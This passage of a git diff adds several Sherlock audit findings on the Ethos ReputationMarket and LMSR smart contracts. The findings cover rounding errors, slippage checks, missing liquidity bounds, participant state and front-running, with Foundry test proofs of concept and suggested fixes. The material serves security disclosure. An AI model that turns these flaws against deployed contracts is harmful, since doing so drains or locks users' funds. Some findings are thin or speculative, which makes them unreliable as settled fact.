of `UD60x18`(which scales the result by 1e18) is lost, and the subsequent multiplication with `b` (which is in `uint256` format) causes the result to be much larger than expected. + +[https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/utils/LMSR.sol#L133](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/utils/LMSR.sol#L133) +### Root Cause + + +```Solidity +function _cost( + uint256 yesVotes, + uint256 noVotes, + uint256 liquidityParameter + ) public pure returns (uint256 costResult) { + // Compute e^(yes/b) and e^(no/b) + (UD60x18 yesExp, UD60x18 noExp) = _getExponentials(yesVotes, noVotes, liquidityParameter); + + // sumExp = e^(yes/b) + e^(no/b) + UD60x18 sumExp = yesExp.add(noExp); + + // lnVal = ln(e^(yes/b) + e^(no/b)) + UD60x18 lnVal = sumExp.ln(); + + // Unwrap lnVal and multiply by b (also in UD60x18) to get cost + + + uint256 lnValUnwrapped = unwrap(lnVal); + costResult = lnValUnwrapped * liquidityParameter; + } + ``` + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Financial Miscalculation: The loss of precision can lead to significant errors in cost calculations, which directly affect the pricing mechanism of votes in the market. This could result in: +Overcharging or undercharging for votes. + +Incorrect market dynamics where price does not accurately reflect supply and demand. +Potential arbitrage opportunities if the discrepancy is large enough. +Market Manipulation: If traders can predict or exploit the precision loss, they might be able to manipulate market outcomes or profit from the mispricing. + +### PoC + + +```Solidity +function test__IncorrectScaling() public { + + uint256 yesVotes = 1000; + uint256 noVotes = 1000; + + uint256 cost = LMSR._cost(yesVotes, noVotes, LIQUIDITY_PARAMETER); + + //With equal votes the costs should be around b * ln(2) in UD60x18 format + uint256 expectedCost = 693147180559945309 * LIQUIDITY_PARAMETER; //ln(2) * 1e18 * b + + //Check if there is significant deviation from the expected cost due to incorrect scaling + assertApproxEqAbs(cost, expectedCost, 1e15, "Cost is not approximately equal to b * ln(2)"); //Allowing for some imprecision +``` + + + + } + +### Mitigation + +**Recommended Mitigation:** + +Implement the calculation in `UD60x18` format throughout, only unwrapping the result at the very end: + +```Javascript +function _cost( + uint256 yesVotes, + uint256 noVotes, + uint256 liquidityParameter + ) public pure returns (uint256 costResult) { + (UD60x18 yesExp, UD60x18 noExp) = _getExponentials(yesVotes, noVotes, liquidityParameter); + UD60x18 sumExp = yesExp.add(noExp); + UD60x18 lnVal = sumExp.ln(); + + // Convert liquidityParameter to UD60x18 for consistent arithmetic + UD60x18 b = convert(liquidityParameter); + + // Perform multiplication in UD60x18 format before unwrapping + costResult = unwrap(lnVal.mul(b)); + } + ``` \ No newline at end of file diff --git a/058.md b/058.md new file mode 100644 index 0000000..455a5ad --- /dev/null +++ b/058.md @@ -0,0 +1,103 @@ +Decent Currant Halibut + +Medium + +# `ReputationMarket::_createMarket()` Insufficient Liquidity Parameter Validation + +### Summary + +The `ReputationMarket::_createMarket()` function does not verify that the `liquidityParameter` from the selected `marketConfig` meets the minimum requirement for LMSR calculations, which is set at 100. This could lead to numerical instability in market pricing, potentially resulting in market manipulation or mispricing. +[https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L318](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L318) + +### Root Cause + +```JavaScript +function _createMarket( + uint256 profileId, + address recipient, + uint256 marketConfigIndex + ) private nonReentrant { + // ensure the specified config option is valid + if (marketConfigIndex >= marketConfigs.length) + revert InvalidMarketConfigOption("Invalid config index"); + + // Create the new market using the specified config + markets[profileId].votes[TRUST] = 1; + markets[profileId].votes[DISTRUST] = 1; + markets[profileId].basePrice = marketConfigs[marketConfigIndex].basePrice; + markets[profileId].liquidityParameter = marketConfigs[marketConfigIndex].liquidity; + + // ... rest of the function ... +} + ``` + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Numerical Instability: Markets could be initialized with configurations that lead to unstable price calculations, affecting the reliability of vote pricing. If a configuration with a liquidity parameter below 100 is used, it could lead to numerical instability or incorrect pricing in the LMSR model, potentially causing markets to behave unpredictably. + + +### PoC + + +```JavaScript +function test_CreateMarket_WithInvalidLiquidity() public { + + vm.prank(address(reputationMarket)); // Simulate a call from the contract itself to bypass access controls + reputationMarket.marketConfigs.push(MarketConfig({ + liquidity: 99, + basePrice: 0.01 ether, + creationCost: 0.1 ether + })); + + uint256 configIndex = reputationMarket.getMarketConfigCount() - 1; // The index of the newly added config + + // Send enough ETH for creation cost + vm.deal(address(this), 1 ether); + + // Now attempt to create a market with this invalid configuration + // If the check isn't implemented in _createMarket, this should not revert + vm.expectRevert(abi.encodeWithSelector(InvalidMarketConfigOption.selector, "Liquidity below minimum for LMSR")); + reputationMarket.createMarketWithConfig{value: 0.1 ether}(configIndex); +} +``` + +### Mitigation + +Explicit Check in Market Creation: Add the check in `_createMarket` to ensure that any market configuration used at the time of market creation has a liquidity parameter that's at least 100: + +```JavaScript +function _createMarket( + uint256 profileId, + address recipient, + uint256 marketConfigIndex + ) private nonReentrant { + // Ensure the specified config option is valid + if (marketConfigIndex >= marketConfigs.length) + revert InvalidMarketConfigOption("Invalid config index"); + + // Add check for minimum liquidity parameter + if (marketConfigs[marketConfigIndex].liquidity < 100) { + revert InvalidMarketConfigOption("Liquidity below minimum for LMSR"); + } + + // Create the new market using the specified config + markets[profileId].votes[TRUST] = 1; + markets[profileId].votes[DISTRUST] = 1; + markets[profileId].basePrice = marketConfigs[marketConfigIndex].basePrice; + markets[profileId].liquidityParameter = marketConfigs[marketConfigIndex].liquidity; + + // ... rest of the function ... +} +``` \ No newline at end of file diff --git a/059.md b/059.md new file mode 100644 index 0000000..5414f53 --- /dev/null +++ b/059.md @@ -0,0 +1,76 @@ +Decent Currant Halibut + +Medium + +# `ReputationMarket::_createMarket()` No Check on Maximum Liquidity Parameter from `marketConfigs` + +### Summary + +The `ReputationMarket::_createMarket()` function lacks a check for the maximum allowed value of the `liquidityParameter` from `marketConfigs`. This absence could lead to markets being created with excessively high liquidity parameters, potentially causing issues with market stability or and susceptible to gaming by large whales who influence the sentiment requiring inordinate amounts of capital to influence market prices. + +[https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L318](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L318) + +### Root Cause + +```JavaScript +function _createMarket( + uint256 profileId, + address recipient, + uint256 marketConfigIndex + ) private nonReentrant { + // ... + markets[profileId].liquidityParameter = marketConfigs[marketConfigIndex].liquidity; + // ... +} + ``` + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Real user sentiment is not accurately reflected: Extremely high liquidity parameters could make markets not reflect the true sentiments of users, requiring vast sums of votes to change prices, which might not reflect the intended market dynamics or participant engagement. + +Economic Inefficiency: High liquidity could lead to scenarios where the capital needed to influence market outcomes is impractical, reducing market activity or making it less responsive to actual sentiment changes. +Misallocation of Resources: If the liquidity is set too high, it might lock up more funds than necessary for market operation, potentially misallocating resources that could be used elsewhere. + +### PoC + +_No response_ + +### Mitigation + +Introduce a maximum liquidity check in the `_createMarket` function: + +```Javascript +function _createMarket( + uint256 profileId, + address recipient, + uint256 marketConfigIndex + ) private nonReentrant { + // Ensure the specified config option is valid + if (marketConfigIndex >= marketConfigs.length) + revert InvalidMarketConfigOption("Invalid config index"); + + // Check for minimum liquidity (if not already done) + if (marketConfigs[marketConfigIndex].liquidity < 100) { + revert InvalidMarketConfigOption("Liquidity below minimum for LMSR"); + } + + // Add check for maximum liquidity + if (marketConfigs[marketConfigIndex].liquidity > MAX_LIQUIDITY_PARAMETER) { + revert InvalidMarketConfigOption("Liquidity exceeds maximum for market stability"); + } + + // ... rest of the function ... +} +``` \ No newline at end of file diff --git a/060.md b/060.md new file mode 100644 index 0000000..0162a20 --- /dev/null +++ b/060.md @@ -0,0 +1,118 @@ +Decent Currant Halibut + +Medium + +# `ReputationMarket::buyVotes()` No Check Against LMSR's Vote Limit Before Purchase Attempt + +### Summary + +In the `ReputationMarket` contract, the `buyVotes` function does not check if adding votes would exceed the safe operational limit set by the LMSR library `(votes ≤ 133 * liquidityParameter)`. Although the LMSR library internally checks for this limit and reverts if exceeded, the absence of this check at the `ReputationMarket` level can lead to unnecessary transaction failures, confusion, and wasted gas. + +[https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L440](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L440) + +### Root Cause + +```JavaScript +function buyVotes( + uint256 profileId, + bool isPositive, + uint256 maxVotesToBuy, + uint256 minVotesToBuy + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + // ... (code not shown) + uint256 currentVotesToBuy = maxVotesToBuy; + while (totalCostIncludingFees > msg.value) { + currentVotesToBuy--; + // ... (code not shown) + } + // ... (code not shown) +} + ``` + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +User Experience: Users might repeatedly attempt transactions that fail due to vote limits, leading to frustration and potential abandonment of the platform. + +Gas Waste: Each failed transaction consumes gas, unnecessarily increasing costs for users and adding to network congestion. +Market Efficiency: Markets might become temporarily inoperable if they consistently hit their vote cap without users understanding why their transactions are failing. + +Security: While not directly exploitable, a lack of proactive error handling could be used in a denial-of-service context by initiating numerous failed transactions. + + +### PoC + +Here's a test scenario illustrating how a purchase might exceed the LMSR limit: + + +```JavaScript +function test_BuyVotes_ExceedsLMSRLimit() public { + uint256 profileId = 1; + bool isPositive = true; + uint256 liquidityParameter = 1000; // Example liquidity parameter + uint256 maxSafeVotes = 133 * liquidityParameter; // Theoretical max safe votes + uint256 votesToBuy = maxSafeVotes + 1; // Attempt to buy one vote over the limit + + // Mock market state + markets[profileId].liquidityParameter = liquidityParameter; + markets[profileId].votes[isPositive ? TRUST : DISTRUST] = maxSafeVotes; // Market already at limit + + // Attempt to buy votes, expect revert + vm.expectRevert(abi.encodeWithSelector(VotesExceedSafeLimit.selector, maxSafeVotes + 1, liquidityParameter, maxSafeVotes)); + buyVotes{value: 1 ether}(profileId, isPositive, votesToBuy, 1); +} +``` + +### Mitigation + +Implement a check in `buyVotes` or `_calcCost` to ensure the new vote count does not exceed the LMSR safe limit + + +```JavaScript +function _calcCost( + Market memory market, + bool isPositive, + bool isBuy, + uint256 amount + ) private pure returns (uint256 cost) { + uint256 maxSafeVotes = 133 * market.liquidityParameter; + uint256 currentVotes = isPositive ? market.votes[TRUST] : market.votes[DISTRUST]; + uint256 newVotes = isBuy ? currentVotes + amount : currentVotes - amount; + + if (newVotes > maxSafeVotes) { + revert VotesExceedSafeLimit(newVotes, market.liquidityParameter, maxSafeVotes); + } + + // ... rest of the function ... +} +``` + +Or directly in `buyVotes`: + +```JavaScript +function buyVotes( + uint256 profileId, + bool isPositive, + uint256 maxVotesToBuy, + uint256 minVotesToBuy + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + uint256 maxSafeVotes = 133 * markets[profileId].liquidityParameter; + uint256 currentVotes = markets[profileId].votes[isPositive ? TRUST : DISTRUST]; + if (currentVotes + maxVotesToBuy > maxSafeVotes) { + revert VotesExceedSafeLimit(currentVotes + maxVotesToBuy, markets[profileId].liquidityParameter, maxSafeVotes); + } + // ... rest of the function ... +} +``` diff --git a/061.md b/061.md new file mode 100644 index 0000000..aa050bd --- /dev/null +++ b/061.md @@ -0,0 +1,64 @@ +Decent Currant Halibut + +Medium + +# `ReputationMarket::buyVotes()` Race Condition/Front-Running chances Between Cost Calculation and Purchase Execution + +### Summary + +In the `ReputationMarket` contract, the `buyVotes` function is susceptible to a race condition where the market state might change between the time the cost of votes is calculated and when the state is actually updated with the purchase. This vulnerability can lead to discrepancies between the intended purchase and the actual outcome due to intervening transactions altering the market dynamics. + +[https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L440](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L440) + +### Root Cause + +```JavaScript +function buyVotes( + uint256 profileId, + bool isPositive, + uint256 maxVotesToBuy, + uint256 minVotesToBuy + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + // ... (code not shown) + // Cost calculation happens here + while (totalCostIncludingFees > msg.value) { + currentVotesToBuy--; + (purchaseCostBeforeFees, protocolFee, donation, totalCostIncludingFees) = _calculateBuy( + markets[profileId], + isPositive, + currentVotesToBuy + ); + } + // ... (state update happens later) + markets[profileId].votes[isPositive ? TRUST : DISTRUST] += currentVotesToBuy; + // ... (code not shown) +} +``` + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Front-Running: An attacker could observe a pending buyVotes transaction in the mempool and strategically submit their own transaction to manipulate the market price, potentially buying votes at a lower price or selling at a higher price than anticipated by the original buyer. +Unpredictable Outcomes: Buyers might end up with more or fewer votes than calculated, leading to either overpayment or unexpected market influence. + +Market Instability: Frequent exploitation of this vulnerability can lead to increased market volatility, undermining the market's reliability and potentially enabling manipulation. + + +### PoC + +_No response_ + +### Mitigation + +Atomic Operations: Try to perform cost calculation and state update in as close to a single atomic operation as possible. \ No newline at end of file diff --git a/062.md b/062.md new file mode 100644 index 0000000..2518389 --- /dev/null +++ b/062.md @@ -0,0 +1,94 @@ +Rich Charcoal Sardine + +Medium + +# Incorrect rounding in the `_calcCost` function. + +### Summary +Rounding must be in favor of the protocol. In the `_calcCost` function, however, rounding is incorrectly applied, which could lead to a DoS of subsequent market actions. + +### Root Cause +In the `_calcCost` function, rounding is done based on `isPositive`, which is not in favor of the protocol. +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1054-L1058 +```solidity + cost = positiveCostRatio.mulDiv( + market.basePrice, + 1e18, + isPositive ? Math.Rounding.Floor : Math.Rounding.Ceil + ); +``` + +And, the `marketFunds` of the market is updated by using the cost. +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L480 +```solidity + marketFunds[profileId] += purchaseCostBeforeFees; +``` +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L561 +```solidity + marketFunds[profileId] -= proceedsBeforeFees; +``` +So, a bit bigger amount can be reduced from `marketFunds`, if a buyer buys more than one `UNTRUST` votes at once and sells them individually. Because rounding up is done only once when buying, but more than one times of rounding up are done when selling them. +This may lead to a DoS for selling the last votes. + +Consider the following scenario: +1. A market is created with 0 `createCost`. +2. Alice buys 10 `UNTRUST` votes at once. +3. Alice sells all of them by selling one vote at a time. + +As a result, selling the last vote of the market can be DoSed due to overflow from rounding error. + +This DoS is possible in two kind of markets, where the initial `marketFunds[profileId]` is 0. + +First, markets created by an ADMIN has no minimum creation cost. +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L341-L342 +```solidity + // when an admin creates a market, there is no minimum creation cost; use whatever they sent + marketFunds[profileId] = msg.value; +``` + +Second, this DoS can well happen in markets with 0 `creationCost`, because there is no minimum check for creationCost. +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L366-L382 +```solidity + function addMarketConfig( + uint256 liquidity, + uint256 basePrice, + uint256 creationCost + ) public onlyAdmin whenNotPaused returns (uint256) { + if (liquidity < 100) revert InvalidMarketConfigOption("Min liquidity not met"); + + if (basePrice < MINIMUM_BASE_PRICE) revert InvalidMarketConfigOption("Insufficient base price"); + + marketConfigs.push( + MarketConfig({ liquidity: liquidity, basePrice: basePrice, creationCost: creationCost }) + ); + + uint256 configIndex = marketConfigs.length - 1; + emit MarketConfigAdded(configIndex, marketConfigs[configIndex]); + return configIndex; + } +``` + +### Internal pre-conditions +none + +### External pre-conditions +none + +### Attack Path +none + +### Impact +Last vote of a market cannot be sold. + +### PoC + +### Mitigation +Rounding should be done based on `isBuy`. +```diff + cost = positiveCostRatio.mulDiv( + market.basePrice, + 1e18, +- isPositive ? Math.Rounding.Floor : Math.Rounding.Ceil ++ isBuy ? Math.Rounding.Ceil : Math.Rounding.Floor + ); +``` \ No newline at end of file diff --git a/063.md b/063.md new file mode 100644 index 0000000..42c44e7 --- /dev/null +++ b/063.md @@ -0,0 +1,49 @@ +Rich Charcoal Sardine + +Medium + +# Improper slippage check in the `ReputationMarket.sellVotes` function. + +### Summary +In the `ReputationMarket.sellVotes` function, a slippage check is done by using `proceedsBeforeFees`. However, the actual amount given to the user is `proceedsAfterFees`, not `proceedsBeforeFees`. + +### Root Cause +In the `ReputationMarket.sellVotes` function, a slippage check is done by using `proceedsBeforeFees`. +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L553-L556 +```solidity +553: uint256 pricePerVote = votesToSell > 0 ? proceedsBeforeFees / votesToSell : 0; + if (pricePerVote < minimumVotePrice) { + revert SellSlippageLimitExceeded(minimumVotePrice, pricePerVote); + } +``` + +However, the actual amount given to the user is `proceedsAfterFees`, not `proceedsBeforeFees`. +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L567 +```solidity + _sendEth(proceedsAfterFees); +``` +So, slippage check is not done properly. + +### Internal pre-conditions +none + +### External pre-conditions +none + +### Attack Path +none + +### Impact +Improper slippage check + +### PoC + +### Mitigation +`proceedsAfterFees` should be used instead of `proceedsBeforeFees` in slippage check of the `ReputationMarket.sellVotes` function. +```diff +- uint256 pricePerVote = votesToSell > 0 ? proceedsBeforeFees / votesToSell : 0; ++ uint256 pricePerVote = votesToSell > 0 ? proceedsAfterFees / votesToSell : 0; + if (pricePerVote < minimumVotePrice) { + revert SellSlippageLimitExceeded(minimumVotePrice, pricePerVote); + } +``` \ No newline at end of file diff --git a/064.md b/064.md new file mode 100644 index 0000000..cfd3f4b --- /dev/null +++ b/064.md @@ -0,0 +1,68 @@ +Mean Brick Mongoose + +Medium + +# Malicious validator can force users to create a different market than they intended + +### Summary + + +the removeMarketConfig function allows an admin to remove a market. If the market is not the last index, it is swapped with the last index market and then removed. The problem occurs when a malicious validator can backrun a user's tx in order for the user to create a market he did not intend. + +### Root Cause + +In ReputationMarket.sol +ln 388 +https://github.com/sherlock-audit/2024-12-ethos-update/blob/c3a2b007d0ddfcb476f300f8b766808f0e3e2dfd/ethos/packages/contracts/contracts/ReputationMarket.sol#L388 + +```solidity + function removeMarketConfig(uint256 configIndex) public onlyAdmin whenNotPaused { + // Cannot remove if only one config remains + if (marketConfigs.length <= 1) revert InvalidMarketConfigOption("Must keep one config"); + + // Check if the index is valid + if (configIndex >= marketConfigs.length) revert InvalidMarketConfigOption("index not found"); + + emit MarketConfigRemoved(configIndex, marketConfigs[configIndex]); + + // If this is not the last element, swap with the last element + uint256 lastIndex = marketConfigs.length - 1; + if (configIndex != lastIndex) { + marketConfigs[configIndex] = marketConfigs[lastIndex]; + } + + // Remove the last element + marketConfigs.pop(); + } +``` +The admin can remove a market, this is done by swapping the index with the last index and popping the last index. The problem occurs when a malicious validator sees a user who is attempting to create a market which is also going to be removed in the same block by the admin. In normal execution the user would have created the market using the config, then the admin tx would be executed and the market config index would be deleted from the list. However a malicious validator can reorganize the block and back run the user's transaction to occur right after the admins removal transaction. In this scenario 2 thing could happen. The market created has a lower creation cost and the user is refunded the excess eth. Or the user sent extra eth to be safe and the eth is consumed by a larger creation cost market. + +In each scenario the user is forced to take an action unwanted by him. Because the function removeMarketConfig has the whenNotPaused modifier, it must be called during the unpaused state which causes this issue. + +### Internal Pre-conditions + +1. normal user must attempt to create a market which has a market config index that is not the last one in the list +2. admin must have also submit a transaction in the same block to remove said index. + +### External Pre-conditions + +_No response_ + +### Attack Path + +1. malicious validator sees in the mempool a user attempting to create a market with market config index that is not the last market config +2. Malicious validator also sees on the mempool a transaction to remove the same market config. +3. malicious user backruns the users tx to come after the admin tx +4. User is forced to pay and create a market he did not desire. + +### Impact + +User is forced to create a market he did not desire. There is 2 outcomes, 1 the different market config features a lower creation cost and he is refunded the excess eth. Or the market config features a more expensive creation cost and the user is charged a higher amount which would be taken from him in the chance he sent excess eth. The second scenario could be considered user error but the first scenario is not. + +### PoC + +_No response_ + +### Mitigation + +Only allow market configs to be deleted during the paused state. \ No newline at end of file diff --git a/065.md b/065.md new file mode 100644 index 0000000..aa54f74 --- /dev/null +++ b/065.md @@ -0,0 +1,82 @@ +Broad Khaki Wasp + +Medium + +# Incorrect calculation of `pricePerVote` in the `ReputationMarket.sellVotes()` function. + +### Summary + +For slippage checks, `pricePerVote` is calculated and compared with `minimumVotePrice`. However, `pricePerVote` is calculated based on `proceedsBeforeFees`, which includes the `protocolFee`, rather than `proceedsAfterFees`, the actual amount received by the seller. + +### Root Cause + +The [sellVotes()](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L553) function calculates `pricePerVote` as `proceedsBeforeFees / votesToSell`. + +In this context, `proceedsBeforeFees` includes the `protocolFee`. The actual total amount the seller receives is `proceedsAfterFees`, not `proceedsBeforeFees`. Therefore, `pricePerVote` should be calculated as `proceedsAfterFees / votesToSell`. + +Since `pricePerVote` is calculated slightly higher, the slippage check may pass unintentionally, leading to a lower sell amount than the seller intended. + +```solidity + function sellVotes( + uint256 profileId, + bool isPositive, + uint256 votesToSell, + uint256 minimumVotePrice + ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + (uint256 proceedsBeforeFees, uint256 protocolFee, uint256 proceedsAfterFees) = _calculateSell( + markets[profileId], + profileId, + isPositive, + votesToSell + ); + +553 uint256 pricePerVote = votesToSell > 0 ? proceedsBeforeFees / votesToSell : 0; + if (pricePerVote < minimumVotePrice) { + revert SellSlippageLimitExceeded(minimumVotePrice, pricePerVote); + } + + ... + } +``` + +### Internal pre-conditions + +### External pre-conditions + +### Attack Path + +### Impact + +`pricePerVote` is calculated slightly higher, which could result in the seller receiving less than intended. + +### PoC + +### Mitigation + +Use `proceedsAfterFees` instead of `proceedsBeforeFees`. + +```diff + function sellVotes( + uint256 profileId, + bool isPositive, + uint256 votesToSell, + uint256 minimumVotePrice + ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + (uint256 proceedsBeforeFees, uint256 protocolFee, uint256 proceedsAfterFees) = _calculateSell( + markets[profileId], + profileId, + isPositive, + votesToSell + ); + +- uint256 pricePerVote = votesToSell > 0 ? proceedsBeforeFees / votesToSell : 0; ++ uint256 pricePerVote = votesToSell > 0 ? proceedsAfterFees / votesToSell : 0; + if (pricePerVote < minimumVotePrice) { + revert SellSlippageLimitExceeded(minimumVotePrice, pricePerVote); + } + + ... + } +``` \ No newline at end of file diff --git a/066.md b/066.md new file mode 100644 index 0000000..ef5640b --- /dev/null +++ b/066.md @@ -0,0 +1,79 @@ +Broad Khaki Wasp + +Medium + +# Incorrect rounding in the `ReputationMarket._calcCost()` function. + +### Summary + +When buying and selling, the cost is calculated using rounding based on `isPositive`. However, the rounding should be based on `isBuy`, not `isPositive`. + +### Root Cause + +The [_calcCost()](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1057) function calculates `cost` by rounding based on `isPositive`. + +If `isPositive` is `false` (indicating that `DISTRUST` votes are being traded), the calculation is rounded up. + +Consider the following scenario: + +1. A user buys 2 `DISTRUST` votes. +2. The user sells a `DISTRUST` vote. +3. The user sells another `DISTRUST` vote. + +During the buying process, rounding up occurs once, but when selling, rounding up occurs twice—at steps 2 and 3. As a result, `marketFunds` will be decremented by a dust amount. + +If `marketFunds` was originally 0 (with the market created by the admin at a 0 creation cost), then step 3 becomes impossible. + +In fact, `isPositive` is never related to the rounding direction. + +```solidity + function _calcCost( + Market memory market, + bool isPositive, + bool isBuy, + uint256 amount + ) private pure returns (uint256 cost) { + ... + + int256 costRatio = LMSR.getCost( + market.votes[TRUST], + market.votes[DISTRUST], + voteDelta[0], + voteDelta[1], + market.liquidityParameter + ); + + uint256 positiveCostRatio = costRatio > 0 ? uint256(costRatio) : uint256(costRatio * -1); + // multiply cost ratio by base price to get cost; divide by 1e18 to apply ratio + cost = positiveCostRatio.mulDiv( + market.basePrice, + 1e18, +1057 isPositive ? Math.Rounding.Floor : Math.Rounding.Ceil + ); + } +``` + +### Internal pre-conditions + +### External pre-conditions + +### Attack Path + +### Impact + +The last vote might not be sold. + +### PoC + +### Mitigation + +Use `!isBuy` instead of `isPositive`. + +```diff + cost = positiveCostRatio.mulDiv( + market.basePrice, + 1e18, +- isPositive ? Math.Rounding.Floor : Math.Rounding.Ceil ++ !isBuy ? Math.Rounding.Floor : Math.Rounding.Ceil + ); +``` \ No newline at end of file diff --git a/067.md b/067.md new file mode 100644 index 0000000..c9a4c22 --- /dev/null +++ b/067.md @@ -0,0 +1,119 @@ +Brilliant Myrtle Hamster + +Medium + +# Missing Participant Status Reset in SellVotes Function Leads to Participant State Inconsistency + +### Summary + +The **`sellVotes`** function in ReputationMarket contract fails to reset participant status when users sell all their votes. Participants are marked as active in `isParticipant` mapping when they first buy votes, but this status is never cleared even if they sell their entire position. + +### Root Cause + +In ReputationMarket.sol **`sellVotes()`** function, there is no check or reset of the participant's status in `isParticipant` mapping even when users sell all their votes. The participant remains marked as active in `isParticipant[profileId][msg.sender]` even after selling their entire position, causing state inconsistency. + +**Code Snippet**: +https://github.com/sherlock-audit/2024-12-ethos-update/blob/c3a2b007d0ddfcb476f300f8b766808f0e3e2dfd/ethos/packages/contracts/contracts/ReputationMarket.sol#L539-#L578 + +### Internal Pre-conditions + +1. User needs to have bought votes in a market to be registered as a participant +2. User needs to be marked as a participant in isParticipant mapping +3. User needs to have votes to sell in votesOwned mapping + +### External Pre-conditions + +-- N/A -- + +### Attack Path + +1. Attacker buys any amount of votes in a market using buyVotes() +2. Attacker gets registered as participant in participants array and isParticipant mapping +3. Attacker sells all their votes using sellVotes() +4. Despite having no votes, attacker remains marked as an active participant +5. getParticipantCount() continues to include the attacker in the total count +6. The protocol considers the attacker an active participant for any participant-based logic + +### Impact + +The protocol suffers from inaccurate participant accounting. This affects: + +1. Market statistics showing incorrect number of active participants +2. Frontend displays showing misleading participant numbers to users + +Creates inconsistent state and potentially affects protocol future governance/mechanics based on participant counts. + +### PoC + +1. Create a new folder and file in `test/foundry/BugTest.sol` and add the following gist code. + +- [Gist Code](https://gist.github.com/fornitechibi/6cc9d28ea69247bf3e6518c6859ca8f3) + +2. To run the test, run the following command: `forge test --mt test_sellVotes_DoestChange_ParticipantStatus -vv` + +### Proof Of Code: + +```solidity + function test_sellVotes_DoestChange_ParticipantStatus() public { + address alice = makeAddr("alice"); + uint256 profileId = createNewMarket(user); + uint256 maxVotesToBuy = 10; + uint256 minVotesToBuy = 0; + uint256 minPrice = 0; + // -- Buying Votes -- + buyVotes(alice, profileId, maxVotesToBuy, minVotesToBuy, 0); + ReputationMarket.MarketInfo memory marketData = market.getUserVotes(alice, profileId); + bool status_before = market.isParticipant(profileId, alice); + // -- Asserting -- + assertGt(marketData.trustVotes, 0); + assertGt(marketData.distrustVotes, 0); + assertEq(status_before, true); + console.log("Alice trust votes: ", marketData.trustVotes); + console.log("Alice distrust votes: ", marketData.distrustVotes); + console.log("Alice status before selling votes: ", status_before); + // -- Selling Votes -- + sellVotesTrust(alice, profileId, maxVotesToBuy, minPrice); + sellVotesDisTrust(alice, profileId, maxVotesToBuy, minPrice); + ReputationMarket.MarketInfo memory marketDataAfter = market.getUserVotes(alice, profileId); + // -- Asserting -- + assertEq(marketDataAfter.trustVotes, 0); + assertEq(marketDataAfter.distrustVotes, 0); + bool status_after = market.isParticipant(profileId, alice); + console.log("Alice trust votes after selling: ", marketDataAfter.trustVotes); + console.log("Alice distrust votes after selling: ", marketDataAfter.distrustVotes); + console.log("Alice status after selling votes: ", status_after); + } +``` + +### Output: + +```rust +[PASS] test_sellVotes_DoestChange_ParticipantStatus() (gas: 1210659) + Alice trust votes: 10 + Alice distrust votes: 10 + Alice status before selling votes: true + Alice trust votes after selling: 0 + Alice distrust votes after selling: 0 + Alice status after selling votes: true +``` + +### Mitigation + +Add participant status reset in `sellVotes` function when user sells all their votes. +Here is the recommended mitigation: + +```diff +function sellVotes(...) { + // existing code... + + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesToSell; + + // Add check for remaining votes and reset participant status if none left ++ if (votesOwned[msg.sender][profileId].votes[TRUST] == 0 && ++ votesOwned[msg.sender][profileId].votes[DISTRUST] == 0) { ++ isParticipant[profileId][msg.sender] = false; ++ } + + // rest of existing code... +} +``` \ No newline at end of file diff --git a/068.md b/068.md new file mode 100644 index 0000000..e17817d --- /dev/null +++ b/068.md @@ -0,0 +1,122 @@ +Tangy Tortilla Fox + +Medium + +# `_calcCost` rounds in favor of the user causing insolvency + +### Summary + + +`_calcCost` is used to get the price for each sell/buy. Where that function is made to round up or down, depending on if the user buys TRUST or DISTRUST. + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1054-L1058 +```solidity + cost = positiveCostRatio.mulDiv( + market.basePrice, // 0.01 + 1e18, + isPositive ? Math.Rounding.Floor : Math.Rounding.Ceil + ); +``` + 